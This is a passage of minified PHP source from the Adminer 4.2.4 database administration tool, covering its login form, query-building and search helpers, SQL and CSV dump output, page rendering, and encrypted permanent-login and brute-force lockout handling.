support($Fc){global$h;return!preg_match("~scheme|sequence|type|view_trigger".($h->server_info<5.1?"|event|partitioning".($h->server_info<5?"|routine|trigger|view":""):"")."~",$Fc);}$w="sql";$Bh=array();$Lg=array();foreach(array(lang(24)=>array("tinyint"=>3,"smallint"=>5,"mediumint"=>8,"int"=>10,"bigint"=>20,"decimal"=>66,"float"=>12,"double"=>21),lang(25)=>array("date"=>10,"datetime"=>19,"timestamp"=>19,"time"=>10,"year"=>4),lang(26)=>array("char"=>255,"varchar"=>65535,"tinytext"=>255,"text"=>65535,"mediumtext"=>16777215,"longtext"=>4294967295),lang(30)=>array("enum"=>65535,"set"=>64),lang(27)=>array("bit"=>20,"binary"=>255,"varbinary"=>65535,"tinyblob"=>255,"blob"=>65535,"mediumblob"=>16777215,"longblob"=>4294967295),lang(29)=>array("geometry"=>0,"point"=>0,"linestring"=>0,"polygon"=>0,"multipoint"=>0,"multilinestring"=>0,"multipolygon"=>0,"geometrycollection"=>0),)as$x=>$X){$Bh+=$X;$Lg[$x]=array_keys($X);}$Ih=array("unsigned","zerofill","unsigned zerofill");$Re=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","REGEXP","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$Uc=array("char_length","date","from_unixtime","lower","round","sec_to_time","time_to_sec","upper");$Zc=array("avg","count","count distinct","group_concat","max","min","sum");$fc=array(array("char"=>"md5/sha1/password/encrypt/uuid","binary"=>"md5/sha1","date|time"=>"now",),array("(^|[^o])int|float|double|decimal"=>"+/-","date"=>"+ interval/- interval","time"=>"addtime/subtime","char|text"=>"concat",));}define("SERVER",$_GET[DRIVER]);define("DB",$_GET["db"]);define("ME",preg_replace('~^[^?]*/([^?]*).*~','\\1',$_SERVER["REQUEST_URI"]).'?'.(sid()?SID.'&':'').(SERVER!==null?DRIVER."=".urlencode(SERVER).'&':'').(isset($_GET["username"])?"username=".urlencode($_GET["username"]).'&':'').(DB!=""?'db='.urlencode(DB).'&'.(isset($_GET["ns"])?"ns=".urlencode($_GET["ns"])."&":""):''));$ia="4.2.4";class
Adminer{var$operators;function
name(){return"<a href='https://www.adminer.org/' target='_blank' id='h1'>Adminer</a>";}function
credentials(){return
array(SERVER,$_GET["username"],get_password());}function
permanentLogin($j=false){return
password_file($j);}function
bruteForceKey(){return$_SERVER["REMOTE_ADDR"];}function
database(){return
DB;}function
databases($Lc=true){return
get_databases($Lc);}function
schemas(){return
schemas();}function
queryTimeout(){return
5;}function
headers(){return
true;}function
head(){return
true;}function
loginForm(){global$Xb;echo'<table cellspacing="0">
<tr><th>',lang(31),'<td>',html_select("auth[driver]",$Xb,DRIVER,"loginDriver(this);"),'<tr><th>',lang(32),'<td><input name="auth[server]" value="',h(SERVER),'" title="hostname[:port]" placeholder="localhost" autocapitalize="off">
<tr><th>',lang(33),'<td><input name="auth[username]" id="username" value="',h($_GET["username"]),'" autocapitalize="off">
<tr><th>',lang(34),'<td><input type="password" name="auth[password]">
<tr><th>',lang(35),'<td><input name="auth[db]" value="',h($_GET["db"]);?>" autocapitalize="off">
</table>
<script type="text/javascript">
var username = document.getElementById('username');
focus(username);
username.form['auth[driver]'].onchange();
</script>
<?php

echo"<p><input type='submit' value='".lang(36)."'>\n",checkbox("auth[permanent]",1,$_COOKIE["adminer_permanent"],lang(37))."\n";}function
login($Zd,$G){return
true;}function
tableName($Sg){return
h($Sg["Name"]);}function
fieldName($o,$We=0){return'<span title="'.h($o["full_type"]).'">'.h($o["field"]).'</span>';}function
selectLinks($Sg,$O=""){echo'<p class="links">';$Yd=array("select"=>lang(38));if(support("table")||support("indexes"))$Yd["table"]=lang(39);if(support("table")){if(is_view($Sg))$Yd["view"]=lang(40);else$Yd["create"]=lang(41);}if($O!==null)$Yd["edit"]=lang(42);foreach($Yd
as$x=>$X)echo" <a href='".h(ME)."$x=".urlencode($Sg["Name"]).($x=="edit"?$O:"")."'".bold(isset($_GET[$x])).">$X</a>";echo"\n";}function
foreignKeys($Q){return
foreign_keys($Q);}function
backwardKeys($Q,$Rg){return
array();}function
backwardKeysPrint($Oa,$K){}function
selectQuery($H,$ih){global$w;return"<p><code class='jush-$w'>".h(str_replace("\n"," ",$H))."</code> <span class='time'>($ih)</span>".(support("sql")?" <a href='".h(ME)."sql=".urlencode($H)."'>".lang(10)."</a>":"")."</p>";}function
rowDescription($Q){return"";}function
rowDescriptions($L,$Nc){return$L;}function
selectLink($X,$o){}function
selectVal($X,$_,$o,$df){$J=($X===null?"<i>NULL</i>":(preg_match("~char|binary~",$o["type"])&&!preg_match("~var~",$o["type"])?"<code>$X</code>":$X));if(preg_match('~blob|bytea|raw|file~',$o["type"])&&!is_utf8($X))$J=lang(43,strlen($df));return($_?"<a href='".h($_)."'".(is_url($_)?" rel='noreferrer'":"").">$J</a>":$J);}function
editVal($X,$o){return$X;}function
selectColumnsPrint($M,$f){global$Uc,$Zc;print_fieldset("select",lang(44),$M);$s=0;$M[""]=array();foreach($M
as$x=>$X){$X=$_GET["columns"][$x];$e=select_input(" name='columns[$s][col]' onchange='".($x!==""?"selectFieldChange(this.form)":"selectAddRow(this)").";'",$f,$X["col"]);echo"<div>".($Uc||$Zc?"<select name='columns[$s][fun]' onchange='helpClose();".($x!==""?"":" this.nextSibling.nextSibling.onchange();")."'".on_help("getTarget(event).value && getTarget(event).value.replace(/ |\$/, '(') + ')'",1).">".optionlist(array(-1=>"")+array_filter(array(lang(45)=>$Uc,lang(46)=>$Zc)),$X["fun"])."</select>"."($e)":$e)."</div>\n";$s++;}echo"</div></fieldset>\n";}function
selectSearchPrint($Z,$f,$v){print_fieldset("search",lang(47),$Z);foreach($v
as$s=>$u){if($u["type"]=="FULLTEXT"){echo"(<i>".implode("</i>, <i>",array_map('h',$u["columns"]))."</i>) AGAINST"," <input type='search' name='fulltext[$s]' value='".h($_GET["fulltext"][$s])."' onchange='selectFieldChange(this.form);'>",checkbox("boolean[$s]",1,isset($_GET["boolean"][$s]),"BOOL"),"<br>\n";}}$_GET["where"]=(array)$_GET["where"];reset($_GET["where"]);$Za="this.nextSibling.onchange();";for($s=0;$s<=count($_GET["where"]);$s++){list(,$X)=each($_GET["where"]);if(!$X||("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators))){echo"<div>".select_input(" name='where[$s][col]' onchange='$Za'",$f,$X["col"],"(".lang(48).")"),html_select("where[$s][op]",$this->operators,$X["op"],$Za),"<input type='search' name='where[$s][val]' value='".h($X["val"])."' onchange='".($X?"selectFieldChange(this.form)":"selectAddRow(this)").";' onkeydown='selectSearchKeydown(this, event);' onsearch='selectSearchSearch(this);'></div>\n";}}echo"</div></fieldset>\n";}function
selectOrderPrint($We,$f,$v){print_fieldset("sort",lang(49),$We);$s=0;foreach((array)$_GET["order"]as$x=>$X){if($X!=""){echo"<div>".select_input(" name='order[$s]' onchange='selectFieldChange(this.form);'",$f,$X),checkbox("desc[$s]",1,isset($_GET["desc"][$x]),lang(50))."</div>\n";$s++;}}echo"<div>".select_input(" name='order[$s]' onchange='selectAddRow(this);'",$f),checkbox("desc[$s]",1,false,lang(50))."</div>\n","</div></fieldset>\n";}function
selectLimitPrint($z){echo"<fieldset><legend>".lang(51)."</legend><div>";echo"<input type='number' name='limit' class='size' value='".h($z)."' onchange='selectFieldChange(this.form);'>","</div></fieldset>\n";}function
selectLengthPrint($hh){if($hh!==null){echo"<fieldset><legend>".lang(52)."</legend><div>","<input type='number' name='text_length' class='size' value='".h($hh)."'>","</div></fieldset>\n";}}function
selectActionPrint($v){echo"<fieldset><legend>".lang(53)."</legend><div>","<input type='submit' value='".lang(44)."'>"," <span id='noindex' title='".lang(54)."'></span>","<script type='text/javascript'>\n","var indexColumns = ";$f=array();foreach($v
as$u){if($u["type"]!="FULLTEXT")$f[reset($u["columns"])]=1;}$f[""]=1;foreach($f
as$x=>$X)json_row($x);echo";\n","selectFieldChange(document.getElementById('form'));\n","</script>\n","</div></fieldset>\n";}function
selectCommandPrint(){return!information_schema(DB);}function
selectImportPrint(){return!information_schema(DB);}function
selectEmailPrint($kc,$f){}function
selectColumnsProcess($f,$v){global$Uc,$Zc;$M=array();$Xc=array();foreach((array)$_GET["columns"]as$x=>$X){if($X["fun"]=="count"||($X["col"]!=""&&(!$X["fun"]||in_array($X["fun"],$Uc)||in_array($X["fun"],$Zc)))){$M[$x]=apply_sql_function($X["fun"],($X["col"]!=""?idf_escape($X["col"]):"*"));if(!in_array($X["fun"],$Zc))$Xc[]=$M[$x];}}return
array($M,$Xc);}function
selectSearchProcess($p,$v){global$h,$w;$J=array();foreach($v
as$s=>$u){if($u["type"]=="FULLTEXT"&&$_GET["fulltext"][$s]!="")$J[]="MATCH (".implode(", ",array_map('idf_escape',$u["columns"])).") AGAINST (".q($_GET["fulltext"][$s]).(isset($_GET["boolean"][$s])?" IN BOOLEAN MODE":"").")";}foreach((array)$_GET["where"]as$X){if("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators)){$tb=" $X[op]";if(preg_match('~IN$~',$X["op"])){$nd=process_length($X["val"]);$tb.=" ".($nd!=""?$nd:"(NULL)");}elseif($X["op"]=="SQL")$tb=" $X[val]";elseif($X["op"]=="LIKE %%")$tb=" LIKE ".$this->processInput($p[$X["col"]],"%$X[val]%");elseif($X["op"]=="ILIKE %%")$tb=" ILIKE ".$this->processInput($p[$X["col"]],"%$X[val]%");elseif(!preg_match('~NULL$~',$X["op"]))$tb.=" ".$this->processInput($p[$X["col"]],$X["val"]);if($X["col"]!="")$J[]=idf_escape($X["col"]).$tb;else{$ob=array();foreach($p
as$C=>$o){$Cd=preg_match('~char|text|enum|set~',$o["type"]);if((is_numeric($X["val"])||!preg_match('~(^|[^o])int|float|double|decimal|bit~',$o["type"]))&&(!preg_match("~[\x80-\xFF]~",$X["val"])||$Cd)){$C=idf_escape($C);$ob[]=($w=="sql"&&$Cd&&!preg_match("~^utf8_~",$o["collation"])?"CONVERT($C USING ".charset($h).")":$C);}}$J[]=($ob?"(".implode("$tb OR ",$ob)."$tb)":"0");}}}return$J;}function
selectOrderProcess($p,$v){$J=array();foreach((array)$_GET["order"]as$x=>$X){if($X!="")$J[]=(preg_match('~^((COUNT\\(DISTINCT |[A-Z0-9_]+\\()(`(?:[^`]|``)+`|"(?:[^"]|"")+")\\)|COUNT\\(\\*\\))$~',$X)?$X:idf_escape($X)).(isset($_GET["desc"][$x])?" DESC":"");}return$J;}function
selectLimitProcess(){return(isset($_GET["limit"])?$_GET["limit"]:"50");}function
selectLengthProcess(){return(isset($_GET["text_length"])?$_GET["text_length"]:"100");}function
selectEmailProcess($Z,$Nc){return
false;}function
selectQueryBuild($M,$Z,$Xc,$We,$z,$E){return"";}function
messageQuery($H,$ih){global$w;restart_session();$ed=&get_session("queries");$jd="sql-".count($ed[$_GET["db"]]);if(strlen($H)>1e6)$H=preg_replace('~[\x80-\xFF]+$~','',substr($H,0,1e6))."\n...";$ed[$_GET["db"]][]=array($H,time(),$ih);return" <span class='time'>".@date("H:i:s")."</span> <a href='#$jd' onclick=\"return !toggle('$jd');\">".lang(55)."</a>"."<div id='$jd' class='hidden'><pre><code class='jush-$w'>".shorten_utf8($H,1000).'</code></pre>'.($ih?" <span class='time'>($ih)</span>":'').(support("sql")?'<p><a href="'.h(str_replace("db=".urlencode(DB),"db=".urlencode($_GET["db"]),ME).'sql=&history='.(count($ed[$_GET["db"]])-1)).'">'.lang(10).'</a>':'').'</div>';}function
editFunctions($o){global$fc;$J=($o["null"]?"NULL/":"");foreach($fc
as$x=>$Uc){if(!$x||(!isset($_GET["call"])&&(isset($_GET["select"])||where($_GET)))){foreach($Uc
as$sf=>$X){if(!$sf||preg_match("~$sf~",$o["type"]))$J.="/$X";}if($x&&!preg_match('~set|blob|bytea|raw|file~',$o["type"]))$J.="/SQL";}}if($o["auto_increment"]&&!isset($_GET["select"])&&!where($_GET))$J=lang(56);return
explode("/",$J);}function
editInput($Q,$o,$Ja,$Y){if($o["type"]=="enum")return(isset($_GET["select"])?"<label><input type='radio'$Ja value='-1' checked><i>".lang(8)."</i></label> ":"").($o["null"]?"<label><input type='radio'$Ja value=''".($Y!==null||isset($_GET["select"])?"":" checked")."><i>NULL</i></label> ":"").enum_input("radio",$Ja,$o,$Y,0);return"";}function
processInput($o,$Y,$r=""){if($r=="SQL")return$Y;$C=$o["field"];$J=q($Y);if(preg_match('~^(now|getdate|uuid)$~',$r))$J="$r()";elseif(preg_match('~^current_(date|timestamp)$~',$r))$J=$r;elseif(preg_match('~^([+-]|\\|\\|)$~',$r))$J=idf_escape($C)." $r $J";elseif(preg_match('~^[+-] interval$~',$r))$J=idf_escape($C)." $r ".(preg_match("~^(\\d+|'[0-9.: -]') [A-Z_]+$~i",$Y)?$Y:$J);elseif(preg_match('~^(addtime|subtime|concat)$~',$r))$J="$r(".idf_escape($C).", $J)";elseif(preg_match('~^(md5|sha1|password|encrypt)$~',$r))$J="$r($J)";return
unconvert_field($o,$J);}function
dumpOutput(){$J=array('text'=>lang(57),'file'=>lang(58));if(function_exists('gzencode'))$J['gz']='gzip';return$J;}function
dumpFormat(){return
array('sql'=>'SQL','csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');}function
dumpDatabase($m){}function
dumpTable($Q,$Mg,$Dd=0){if($_POST["format"]!="sql"){echo"\xef\xbb\xbf";if($Mg)dump_csv(array_keys(fields($Q)));}else{if($Dd==2){$p=array();foreach(fields($Q)as$C=>$o)$p[]=idf_escape($C)." $o[full_type]";$j="CREATE TABLE ".table($Q)." (".implode(", ",$p).")";}else$j=create_sql($Q,$_POST["auto_increment"]);set_utf8mb4($j);if($Mg&&$j){if($Mg=="DROP+CREATE"||$Dd==1)echo"DROP ".($Dd==2?"VIEW":"TABLE")." IF EXISTS ".table($Q).";\n";if($Dd==1)$j=remove_definer($j);echo"$j;\n\n";}}}function
dumpData($Q,$Mg,$H){global$h,$w;$fe=($w=="sqlite"?0:1048576);if($Mg){if($_POST["format"]=="sql"){if($Mg=="TRUNCATE+INSERT")echo
truncate_sql($Q).";\n";$p=fields($Q);}$I=$h->query($H,1);if($I){$wd="";$Xa="";$Kd=array();$Og="";$Gc=($Q!=''?'fetch_assoc':'fetch_row');while($K=$I->$Gc()){if(!$Kd){$Th=array();foreach($K
as$X){$o=$I->fetch_field();$Kd[]=$o->name;$x=idf_escape($o->name);$Th[]="$x = VALUES($x)";}$Og=($Mg=="INSERT+UPDATE"?"\nON DUPLICATE KEY UPDATE ".implode(", ",$Th):"").";\n";}if($_POST["format"]!="sql"){if($Mg=="table"){dump_csv($Kd);$Mg="INSERT";}dump_csv($K);}else{if(!$wd)$wd="INSERT INTO ".table($Q)." (".implode(", ",array_map('idf_escape',$Kd)).") VALUES";foreach($K
as$x=>$X){$o=$p[$x];$K[$x]=($X!==null?unconvert_field($o,preg_match('~(^|[^o])int|float|double|decimal~',$o["type"])&&$X!=''?$X:q($X)):"NULL");}$lg=($fe?"\n":" ")."(".implode(",\t",$K).")";if(!$Xa)$Xa=$wd.$lg;elseif(strlen($Xa)+4+strlen($lg)+strlen($Og)<$fe)$Xa.=",$lg";else{echo$Xa.$Og;$Xa=$wd.$lg;}}}if($Xa)echo$Xa.$Og;}elseif($_POST["format"]=="sql")echo"-- ".str_replace("\n"," ",$h->error)."\n";}}function
dumpFilename($kd){return
friendly_url($kd!=""?$kd:(SERVER!=""?SERVER:"localhost"));}function
dumpHeaders($kd,$ue=false){$gf=$_POST["output"];$Ac=(preg_match('~sql~',$_POST["format"])?"sql":($ue?"tar":"csv"));header("Content-Type: ".($gf=="gz"?"application/x-gzip":($Ac=="tar"?"application/x-tar":($Ac=="sql"||$gf!="file"?"text/plain":"text/csv")."; charset=utf-8")));if($gf=="gz")ob_start('ob_gzencode',1e6);return$Ac;}function
homepage(){echo'<p class="links">'.($_GET["ns"]==""&&support("database")?'<a href="'.h(ME).'database=">'.lang(59)."</a>\n":""),(support("scheme")?"<a href='".h(ME)."scheme='>".($_GET["ns"]!=""?lang(60):lang(61))."</a>\n":""),($_GET["ns"]!==""?'<a href="'.h(ME).'schema=">'.lang(62)."</a>\n":""),(support("privileges")?"<a href='".h(ME)."privileges='>".lang(63)."</a>\n":"");return
true;}function
navigation($te){global$ia,$w,$Xb,$h;echo'<h1>
',$this->name(),' <span class="version">',$ia,'</span>
<a href="https://www.adminer.org/#download" target="_blank" id="version">',(version_compare($ia,$_COOKIE["adminer_version"])<0?h($_COOKIE["adminer_version"]):""),'</a>
</h1>
';if($te=="auth"){$Kc=true;foreach((array)$_SESSION["pwds"]as$Vh=>$yg){foreach($yg
as$N=>$Qh){foreach($Qh
as$V=>$G){if($G!==null){if($Kc){echo"<p id='logins' onmouseover='menuOver(this, event);' onmouseout='menuOut(this);'>\n";$Kc=false;}$Jb=$_SESSION["db"][$Vh][$N][$V];foreach(($Jb?array_keys($Jb):array(""))as$m)echo"<a href='".h(auth_url($Vh,$N,$V,$m))."'>($Xb[$Vh]) ".h($V.($N!=""?"@$N":"").($m!=""?" - $m":""))."</a><br>\n";}}}}}else{if($_GET["ns"]!==""&&!$te&&DB!=""){$h->select_db(DB);$S=table_status('',true);}if(support("sql")){echo'<script type="text/javascript" src="',h(preg_replace("~\\?.*~","",ME))."?file=jush.js&amp;version=4.2.4",'"></script>
<script type="text/javascript">
';if($S){$Yd=array();foreach($S
as$Q=>$U)$Yd[]=preg_quote($Q,'/');echo"var jushLinks = { $w: [ '".js_escape(ME).(support("table")?"table=":"select=")."\$&', /\\b(".implode("|",$Yd).")\\b/g ] };\n";foreach(array("bac","bra","sqlite_quo","mssql_bra")as$X)echo"jushLinks.$X = jushLinks.$w;\n";}echo'bodyLoad(\'',(is_object($h)?substr($h->server_info,0,3):""),'\');
</script>
';}$this->databasesPrint($te);if(DB==""||!$te){echo"<p class='links'>".(support("sql")?"<a href='".h(ME)."sql='".bold(isset($_GET["sql"])&&!isset($_GET["import"])).">".lang(55)."</a>\n<a href='".h(ME)."import='".bold(isset($_GET["import"])).">".lang(64)."</a>\n":"")."";if(support("dump"))echo"<a href='".h(ME)."dump=".urlencode(isset($_GET["table"])?$_GET["table"]:$_GET["select"])."' id='dump'".bold(isset($_GET["dump"])).">".lang(65)."</a>\n";}if($_GET["ns"]!==""&&!$te&&DB!=""){echo'<a href="'.h(ME).'create="'.bold($_GET["create"]==="").">".lang(66)."</a>\n";if(!$S)echo"<p class='message'>".lang(9)."\n";else$this->tablesPrint($S);}}}function
databasesPrint($te){global$b,$h;$l=$this->databases();echo'<form action="">
<p id="dbs">
';hidden_fields_get();$Hb=" onmousedown='dbMouseDown(event, this);' onchange='dbChange(this);'";echo"<span title='".lang(67)."'>DB</span>: ".($l?"<select name='db'$Hb>".optionlist(array(""=>"")+$l,DB)."</select>":'<input name="db" value="'.h(DB).'" autocapitalize="off">'),"<input type='submit' value='".lang(20)."'".($l?" class='hidden'":"").">\n";if($te!="db"&&DB!=""&&$h->select_db(DB)){if(support("scheme")){echo"<br>".lang(68).": <select name='ns'$Hb>".optionlist(array(""=>"")+$b->schemas(),$_GET["ns"])."</select>";if($_GET["ns"]!="")set_schema($_GET["ns"]);}}echo(isset($_GET["sql"])?'<input type="hidden" name="sql" value="">':(isset($_GET["schema"])?'<input type="hidden" name="schema" value="">':(isset($_GET["dump"])?'<input type="hidden" name="dump" value="">':(isset($_GET["privileges"])?'<input type="hidden" name="privileges" value="">':"")))),"</p></form>\n";}function
tablesPrint($S){echo"<p id='tables' onmouseover='menuOver(this, event);' onmouseout='menuOut(this);'>\n";foreach($S
as$Q=>$Ig){echo'<a href="'.h(ME).'select='.urlencode($Q).'"'.bold($_GET["select"]==$Q||$_GET["edit"]==$Q,"select").">".lang(69)."</a> ";$C=$this->tableName($Ig);echo(support("table")||support("indexes")?'<a href="'.h(ME).'table='.urlencode($Q).'"'.bold(in_array($Q,array($_GET["table"],$_GET["create"],$_GET["indexes"],$_GET["foreign"],$_GET["trigger"])),(is_view($Ig)?"view":""),"structure")." title='".lang(39)."'>$C</a>":"<span>$C</span>")."<br>\n";}}}$b=(function_exists('adminer_object')?adminer_object():new
Adminer);if($b->operators===null)$b->operators=$Re;function
page_header($lh,$n="",$Wa=array(),$mh=""){global$ca,$ia,$b,$Xb,$w;page_headers();if(is_ajax()&&$n){page_messages($n);exit;}$nh=$lh.($mh!=""?": $mh":"");$oh=strip_tags($nh.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".$b->name());echo'<!DOCTYPE html>
<html lang="',$ca,'" dir="',lang(70),'">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta name="robots" content="noindex">
<meta name="referrer" content="origin-when-crossorigin">
<title>',$oh,'</title>
<link rel="stylesheet" type="text/css" href="',h(preg_replace("~\\?.*~","",ME))."?file=default.css&amp;version=4.2.4",'">
<script type="text/javascript" src="',h(preg_replace("~\\?.*~","",ME))."?file=functions.js&amp;version=4.2.4",'"></script>
';if($b->head()){echo'<link rel="shortcut icon" type="image/x-icon" href="',h(preg_replace("~\\?.*~","",ME))."?file=favicon.ico&amp;version=4.2.4",'">
<link rel="apple-touch-icon" href="',h(preg_replace("~\\?.*~","",ME))."?file=favicon.ico&amp;version=4.2.4",'">
';if(file_exists("adminer.css")){echo'<link rel="stylesheet" type="text/css" href="adminer.css">
';}}echo'
<body class="',lang(70),' nojs" onkeydown="bodyKeydown(event);" onclick="bodyClick(event);"',(isset($_COOKIE["adminer_version"])?"":" onload=\"verifyVersion('$ia');\"");?>>
<script type="text/javascript">
document.body.className = document.body.className.replace(/ nojs/, ' js');
var offlineMessage = '<?php echo
js_escape(lang(71)),'\';
</script>

<div id="help" class="jush-',$w,' jsonly hidden" onmouseover="helpOpen = 1;" onmouseout="helpMouseout(this, event);"></div>

<div id="content">
';if($Wa!==null){$_=substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1);echo'<p id="breadcrumb"><a href="'.h($_?$_:".").'">'.$Xb[DRIVER].'</a> &raquo; ';$_=substr(preg_replace('~\b(db|ns)=[^&]*&~','',ME),0,-1);$N=(SERVER!=""?h(SERVER):lang(32));if($Wa===false)echo"$N\n";else{echo"<a href='".($_?h($_):".")."' accesskey='1' title='Alt+Shift+1'>$N</a> &raquo; ";if($_GET["ns"]!=""||(DB!=""&&is_array($Wa)))echo'<a href="'.h($_."&db=".urlencode(DB).(support("scheme")?"&ns=":"")).'">'.h(DB).'</a> &raquo; ';if(is_array($Wa)){if($_GET["ns"]!="")echo'<a href="'.h(substr(ME,0,-1)).'">'.h($_GET["ns"]).'</a> &raquo; ';foreach($Wa
as$x=>$X){$Ob=(is_array($X)?$X[1]:h($X));if($Ob!="")echo"<a href='".h(ME."$x=").urlencode(is_array($X)?$X[0]:$X)."'>$Ob</a> &raquo; ";}}echo"$lh\n";}}echo"<h2>$nh</h2>\n","<div id='ajaxstatus' class='jsonly hidden'></div>\n";restart_session();page_messages($n);$l=&get_session("dbs");if(DB!=""&&$l&&!in_array(DB,$l,true))$l=null;stop_session();define("PAGE_HEADER",1);}function
page_headers(){global$b;header("Content-Type: text/html; charset=utf-8");header("Cache-Control: no-cache");if($b->headers()){header("X-Frame-Options: deny");header("X-XSS-Protection: 0");}}function
page_messages($n){$Kh=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);$pe=$_SESSION["messages"][$Kh];if($pe){echo"<div class='message'>".implode("</div>\n<div class='message'>",$pe)."</div>\n";unset($_SESSION["messages"][$Kh]);}if($n)echo"<div class='error'>$n</div>\n";}function
page_footer($te=""){global$b,$T;echo'</div>

';switch_lang();if($te!="auth"){echo'<form action="" method="post">
<p class="logout">
<input type="submit" name="logout" value="',lang(72),'" id="logout">
<input type="hidden" name="token" value="',$T,'">
</p>
</form>
';}echo'<div id="menu">
';$b->navigation($te);echo'</div>
<script type="text/javascript">setupSubmitHighlight(document);</script>
';}function
int32($we){while($we>=2147483648)$we-=4294967296;while($we<=-2147483649)$we+=4294967296;return(int)$we;}function
long2str($W,$ai){$lg='';foreach($W
as$X)$lg.=pack('V',$X);if($ai)return
substr($lg,0,end($W));return$lg;}function
str2long($lg,$ai){$W=array_values(unpack('V*',str_pad($lg,4*ceil(strlen($lg)/4),"\0")));if($ai)$W[]=strlen($lg);return$W;}function
xxtea_mx($gi,$fi,$Pg,$Gd){return
int32((($gi>>5&0x7FFFFFF)^$fi<<2)+(($fi>>3&0x1FFFFFFF)^$gi<<4))^int32(($Pg^$fi)+($Gd^$gi));}function
encrypt_string($Kg,$x){if($Kg=="")return"";$x=array_values(unpack("V*",pack("H*",md5($x))));$W=str2long($Kg,true);$we=count($W)-1;$gi=$W[$we];$fi=$W[0];$Kf=floor(6+52/($we+1));$Pg=0;while($Kf-->0){$Pg=int32($Pg+0x9E3779B9);$ec=$Pg>>2&3;for($hf=0;$hf<$we;$hf++){$fi=$W[$hf+1];$ve=xxtea_mx($gi,$fi,$Pg,$x[$hf&3^$ec]);$gi=int32($W[$hf]+$ve);$W[$hf]=$gi;}$fi=$W[0];$ve=xxtea_mx($gi,$fi,$Pg,$x[$hf&3^$ec]);$gi=int32($W[$we]+$ve);$W[$we]=$gi;}return
long2str($W,false);}function
decrypt_string($Kg,$x){if($Kg=="")return"";if(!$x)return
false;$x=array_values(unpack("V*",pack("H*",md5($x))));$W=str2long($Kg,false);$we=count($W)-1;$gi=$W[$we];$fi=$W[0];$Kf=floor(6+52/($we+1));$Pg=int32($Kf*0x9E3779B9);while($Pg){$ec=$Pg>>2&3;for($hf=$we;$hf>0;$hf--){$gi=$W[$hf-1];$ve=xxtea_mx($gi,$fi,$Pg,$x[$hf&3^$ec]);$fi=int32($W[$hf]-$ve);$W[$hf]=$fi;}$gi=$W[$we];$ve=xxtea_mx($gi,$fi,$Pg,$x[$hf&3^$ec]);$fi=int32($W[0]-$ve);$W[0]=$fi;$Pg=int32($Pg-0x9E3779B9);}return
long2str($W,true);}$h='';$dd=$_SESSION["token"];if(!$dd)$_SESSION["token"]=rand(1,1e6);$T=get_token();$tf=array();if($_COOKIE["adminer_permanent"]){foreach(explode(" ",$_COOKIE["adminer_permanent"])as$X){list($x)=explode(":",$X);$tf[$x]=$X;}}function
add_invalid_login(){global$b;$Ic=get_temp_dir()."/adminer.invalid";$Sc=@fopen($Ic,"r+");if(!$Sc){$Sc=@fopen($Ic,"w");if(!$Sc)return;}flock($Sc,LOCK_EX);$zd=unserialize(stream_get_contents($Sc));$ih=time();if($zd){foreach($zd
as$_d=>$X){if($X[0]<$ih)unset($zd[$_d]);}}$yd=&$zd[$b->bruteForceKey()];if(!$yd)$yd=array($ih+30*60,0);$yd[1]++;$wg=serialize($zd);rewind($Sc);fwrite($Sc,$wg);ftruncate($Sc,strlen($wg));flock($Sc,LOCK_UN);fclose($Sc);}$Ka=$_POST["auth"];if($Ka){$zd=unserialize(@file_get_contents(get_temp_dir()."/adminer.invalid"));$yd=$zd[$b->bruteForceKey()];$Be=($yd[1]>30?$yd[0]-time():0);if($Be>0)auth_error(lang(73,ceil($Be/60)));session_regenerate_id();$Vh=$Ka["driver"];$N=$Ka["server"];$V=$Ka["username"];$G=(string)$Ka["password"];$m=$Ka["db"];set_password($Vh,$N,$V,$G);$_SESSION["db"][$Vh][$N][$V][$m]=true;if($Ka["permanent"]){$x=base64_encode($Vh)."-".base64_encode($N)."-".base64_encode($V)."-".base64_encode($m);$Ef=$b->permanentLogin(true);$tf[$x]="$x:".base64_encode($Ef?encrypt_string($G,$Ef):"");cookie("adminer_permanent",implode(" ",$tf));}if(count($_POST)==1||DRIVER!=$Vh||SERVER!=$N||$_GET["username"]!==$V||DB!=$m)redirect(auth_url($Vh,$N,$V,$m));}elseif($_POST["logout"]){if($dd&&!verify_token()){page_header(lang(72),lang(74));page_footer("db");exit;}else{foreach(array("pwds","db","dbs","queries")as$x)set_session($x,null);unset_permanent();redirect(substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1),lang(75));}}elseif($tf&&!$_SESSION["pwds"]){session_regenerate_id();$Ef=$b->permanentLogin();foreach($tf
as$x=>$X){list(,$hb)=explode(":",$X);list($Vh,$N,$V,$m)=array_map('base64_decode',explode("-",$x));set_password($Vh,$N,$V,decrypt_string(base64_decode($hb),$Ef));$_SESSION["db"][$Vh][$N][$V][$m]=true;}}function
unset_permanent(){global$tf;foreach($tf
as$x=>$X){list($Vh,$N,$V,$m)=array_map('base64_decode',explode("-",$x));if($Vh==DRIVER&&$N==SERVER&&$V==$_GET["username"]&&$m==DB)unset($tf[$x]);}cookie("adminer_permanent",implode(" ",$tf));}function
auth_error($n){global$b,$dd;$n=h($n);$zg=session_name();if(isset($_GET["username"])){header("HTTP/1.1 403 Forbidden");if(($_COOKIE[$zg]||$_GET[$zg])&&!$dd)$n=lang(76);else{add_invalid_login();$G=get_password();if($G!==null){if($G===false)$n.='<br>'.lang(77,'<code>permanentLogin()</code>');set_password(DRIVER,SERVER,$_GET["username"],null);}unset_permanent();}}if(!$_COOKIE[$zg]&&$_GET[$zg]&&ini_bool("session.use_only_cookies"))$n=lang(78);$F=session_get_cookie_params();cookie("adminer_key",($_COOKIE["adminer_key"]?$_COOKIE["adminer_key"]:rand_string()),$F["lifetime"]);page_header(lang(36),$n,null);echo"<form action='' method='post'>\n";$b->loginForm();echo"<div>";hidden_fields($_POST,array("auth"));echo"</div>\n","</form>\n";page_footer("auth");exit;}if(isset($_GET["username"])){if(!class_exists("Min_DB")){unset($_SESSION["pwds"][DRIVER]);unset_permanent();page_header(lang(79),lang(80,implode(", ",$zf)),false);page_footer("auth");exit;}$h=connect();}$Wb=new
